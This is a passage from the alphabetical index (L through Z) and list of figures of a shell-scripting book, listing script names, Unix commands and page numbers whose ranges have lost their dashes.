library-test script, 3638
line numbers, 9495
lines
formatting long lines, 4547
wrapping long, 9798
links
external, 23235
internal, 23032
listmacusers script, 300302
loan payments, calculating, 8486
loancalc script, 8486
locate script, 5861 , 120
locate system, 5859
locate.db file, 60
.locatedb file, 120
Location string, 181
locked files, 33
lockf command, 222
lockfile command, 31
lockfile program, 131, 222
log files, rotating, 15458 , 15557
logger command, 55
logging web events, 2058
logrm script, 5455
log-yahoo-search.cgi script, 2068
long lines
formatting, 4547
wrapping, 97
ls command, 52, 56, 61
lynx command, 17275 , 230, 233, 236
Index
M
Mac OS X scripts, 297314
adding email alias, 3079
adding users, 3027
fixing open command, 312
list NetInfo users, 300302
producing summary listings of iTunes libraries, 31012
set Terminal title dynamically, 30910
maintenance, system. See system maintenance
man command, 63
man page database, 6366
managing users, 11136
adding users to system, 12427
analyzing disk usage, 11314
cleaning up after guests leave, 13536
deleting user accounts, 12931
figuring out available disk space, 11718
implementing secure locate, 12024
improving readability of df output, 11820
reporting disk hogs, 11517
suspending user accounts, 12729
validating user environment, 13235
manpagepat command, 65
method=get form, 182, 194
mklocatedb script, 5861
mkslocate script, 12024
mkslocatedb script, 124
more program, 96
moviedata script, 18688
movies, 18688
Music Folder field value, 311
mv command, 158
mysftp script, 100101
Index
N
name, process, 28690
ncftp command, 247
NetInfo database, 124, 298, 300302
netperf script, 28186 , 28485
code, 28183
hacking, 286
how works, 28485
results of, 286
running, 28586
netstat program, 28084
netstat.log file, 284, 286
network status, monitoring, 28086
code, 28183
hacking script, 286
script, 28586
network time, 141
Network Time Protocol (NTP), 141
newdf script, 11820
newquota script, 100
newrm script, 4749
nicenumber script, 1820
nireport utility, 300301 , 304
niutil command, 3024 , 305
normalize function, 89
normdate script, 1518 , 25
nroff command, 45, 46
NTP (Network Time Protocol), 141
numberlines script, 9495
numbers
large, 1820
line, 9495
Index
O
okaywords file, 82
online, calculating time spent, 16668
open command, 298, 31214
Open Directory Project, 180
open2 script, 31214 , 31314
Oxford English Dictionary, 180
Index
P
PAGER variable, 10, 132
page-with-counter.html, 225
palindrome checker, 316
partial variable, 322
password-protected account, 17172
passwords, Apache, 23744
PATH variable, 1013 , 132, 134
pax command, 160
payments, loan, 8486
periodic script, 154
Perl module, 6566
permission denied error messages, 123
photo album, creating web-based, 21417
Point-to-Point Protocol (PPP) daemon, 167
portfolio script, 19395
POSIX compliant, 4, 10
PPP (Point-to-Point Protocol) daemon, 167
privacy.shtml file, 231
/proc directory, 114
process name, tasks by, 28690
processing contact forms, 21114
ps command, 144
Index
Q
QUERY_STRING variable, 206, 241
quiz, state capitals, 32427
quota script, 98100
Index
R
ragged.txt, 106
random text, displayed, 22627
randomquote script, 22627
read input command, 98
read statement, 17172
Really Simple Syndication (RSS), 200
realquota variable, 99
realrm process, 48
referrer code, 256
region/locationname columns, 69
reject.dat file, 230, 232
remember script, 72, 7273
reminder utility, 7273
remindme script, 72, 73
remote archives, 26871
remotebackup script, 26871
remotebackup-filelist, 26871
remotehost script, 100, 101
remove.log file, 55
renicename script, 28690
resource forks, 305
result code, 256
right-rooting, 146
rm command, 49, 54
root user, 138
rot13 mechanism, 31516
rotatelogs script, 15458
rotating log files, 15458
RSS (Really Simple Syndication), 200
run-script script, 154
Index
S
screencapture command, 299
scriptbc script, 2931
search engine traffic, 26064
searchinfo script, 26064
secure locate, implementing, 12024 , 174, 219, 258, 284
sed script, 79, 103
sed statement, 52
sed-based transform, 14
semaphore, 31
sendmail, 198, 202, 3078
server administration. See Internet server administration
server-side include (SSI) directive, 224
services, displaying enabled, 14144
set-date script, 13941
setgid script, 120, 138
setting system date, 13941
setuid command, 138, 139
setuid permission, 55
setuid script, 120
sftp program
to look like ftp program, 100101
synchronizing files, 24953
sftpsync script, 24953
shell scripts
debugging, 3841
library of, building, 3638
types of, 24
what they are, 2
showcgienv script, 2045
showfile command, 96
showfile script, 9596
showpic script, 217
.shp suffix, 79
shpell script, 7780
.shtml web page, 224, 227
SIGHUP signal, 128
SIGKILL signal, 128
Simple Network Management Protocol (SNMP), 124
slocate script, 120, 122, 123
.slocatedb files, 124
smallest command, 109
Snapz Pro X software, 299
SNMP (Simple Network Management Protocol), 124
Solaris system, 34
sourcing capability, 36
sourcing files, 191
spelldict script, 8082
spelling, checking, 7582
adding local dictionary, 8082
of individual words, 7576
Shpell, 7780
on web pages, 23537
ssh package, 249
SSI (server-side include) directive, 224
ssync script, 25153
state capitals quiz, 32427
states script, 32427
stderr command, 234
stdin command, 81
stdout command, 233
stock portfolio, tracking, 19395
Straight Dope, The, 210
streamfile script, 225
su -fm user, 122
substitution cipher, 315
sudo command, 114, 116, 141, 305
sudo password, 141
suspending user accounts, 12729
suspenduser script, 124, 12729
syslogd.conf file, 55
system administration. See managing users; system maintenance
system date, setting, 13941
system() function, 119
system maintenance, 13763
backing up directories, 16163
displaying enabled services, 14144
ensuring system cron jobs run, 15254
killing processes by name, 14447
managing backups, 15860
rotating log files, 15458
setting system date, 13941
tracking set user ID applications, 13839
validating user crontab entries. See crontab entries, validating
Index
T
tar archive, 274
tar invocation, 270, 271
target directory, 275
tasks, renicing, 28690
TCP protocol, 280
tcsh shell, 310
temperatures, converting, 8284
template directory, 13536
Terminal application, 309
terminal title, setting dynamically, 30910
test command, 2
testing scripts, 12
text, random, 226
text-based web page counter, 22125
TIFF files, 300
time
different time zones, 6669
spent online, 16668
timed(8) script, 141
timein script, 6669
.timestamp file, 246
timezonename columns, 69
titleterm script, 30910
toolong script, 9798
tracking
BBC news with lynx, 17275
changes on web pages, 196200
stock portfolio, 19395
weather, 18082
trap command, 79, 107
traverse function, 23031
traverse2.dat file, 231
traverse.dat file, 231
traverse.errors file, 23132
trimmailbox script, 271
Index
U
umask value, 48
Unimplemented command, 170
uniq command, 174
UNIX, tweaking, 93110
compressed files
ensuring maximally, 1079
working with, 1047
displaying files with, 9496
emulating GNU-style flags with quota, 98100
fixing grep, 1024
making sftp look like ftp, 100101
wrapping long lines, 9798
unpacker script, 27275
unrm script, 4953
Unscramble word game, 31619
updatecounter script, 22325
URLs, extracting from web pages, 17578
user accounts
deleting, 12931
listing all, 24142
suspending, 12729
user commands, 4370
archiving files as removed, 4749
displaying contents of directories, 5658
displaying time in different time zones, 6669
emulating DIR environment, 6163
formatting long lines, 4547
locating files by filename, 5861
logging file removals, 5455
man page database, 6366
working with removed file archive, 4953
user environment, 13235
users
See also system administration
adding to Mac OS X system, 3027
managing, 11136
adding users to system, 12427
analyzing disk usage, 11314
cleaning up after guests leave, 13536
deleting user accounts, 12931
figuring out available disk space, 11718
implementing secure locate, 12024
improving readability of df output, 11820
reporting disk hogs, 11517
suspending user accounts, 12729
validating user environment, 13235
NetInfo, 300302
tracking ID applications, 13839
validating crontab entries, 14752
code, 14850
hacking script, 152
how works, 151
results of script, 151
validating environment, 13235
web and Internet users, 165200
calculating currency values, 18892
calculating time spent online, 16668
checking overdue books at library, 18286
defining words online, 17880
downloading files via ftp, 16972
extracting URLs from web pages, 17578
movie info from IMDb, 18688
tracking BBC news with lynx, 17275
tracking changes on web pages, 196200
tracking stock portfolio, 19395
tracking weather, 18082
/users directory, 113
utilities, creating, 7192
adding local dictionary to spell, 8082
calculating loan payments, 8486
checking spelling of individual words, 7576
converting temperatures, 8284
interactive calculator, 7375
keeping track of events, 8691
reminder utility, 7273
Shpell interactive spell-checking facility, 7780
uuencode program, 270
Index
V
validalnum script, 1315
validating
See also crontab entries, validating
alphanumeric input, 1315
date formats, 2527
floating-point, 2224
integer input, 2022
user environment, 13235
validator script, 13235
valid-date script, 2527
validfloat script, 2224
validint script, 2022
/var/log directory, 157
/var/log/messages log, 272
verifycron script, 14752
view source capability, 183
virtual host accounts, 29095
code, 29093
hacking script, 295
VirtualHost block, 293
Index
W
wait call, 109
Warez files, 280
watch-and-nice script, 28990
wc command, 52, 57, 60, 98, 177
weather script, 18082
weather, tracking, 18082
web and Internet administration, 22954
See also Internet server administration
identifying broken internal links, 23032
managing Apache passwords, 23744
reporting broken external links, 23235
synchronizing directories with ftp, 24447
synchronizing files with sftp, 24953
synchronizing to remote directory via ftp, 24749
verifying spelling on web pages, 23537
web and Internet users, 165200
calculating currency values, 18892
calculating time spent online, 16668
checking overdue books at library, 18286
defining words online, 17880
downloading files via ftp, 16972
extracting URLs from web pages, 17578
movie info from IMDb, 18688
tracking BBC news with lynx, 17275
tracking changes on web pages, 196200
tracking stock portfolio, 19395
tracking weather, 18082
web events, logging, 2058
web pages
building, 20811
extracting URLs from, 17578
text-based counter, 22125
tracking changes on, 196200
turning into email messages, 210
verifying spelling, 23537
webaccess script, 25760
web-based photo album, creating, 216
weberrors script, 26468
webhome directory, 274
webmaster hacks, 20128
building guest book, 21721
building web pages, 20811
CGI environment, 2045
creating text-based web page counter, 22125
creating web-based photo album, 21417
displaying random text, 226
logging web events, 2058
processing contact forms, 21114
running scripts in chapter, 203
/web/mirror directory, 275
websites, mirroring, 27275
webspell script, 23537
whatis command, 63
which command, 224
whoami script, 59
word game, 31619
WordNet lexical database, 178
words, defining, 17880
wrappers, 44, 54
wrapping long lines, 9798
Index
X
xargs command, 57
xferlog format, 27680
xinetd service, 144
XML (Extensible Markup Language), 166
Index
Z
zcat script, 1047
zones, time, 6669
List of Figures
Figure 7-2: The site has changed, so the page is sent via email from c ha n ge tr a ck
Figure 8-2: Yahoo! search results appear, but the search was logged!
Figure 8-3: The Kevin & Kell web page, built on the fly
Figure 8-5: An instant online photo album created with 44 lines of shell script!
Figure 8-6: A guest book system, all in one neat shell script
Figure 8-7: Server-side includes let us invoke shell scripts from within HTML files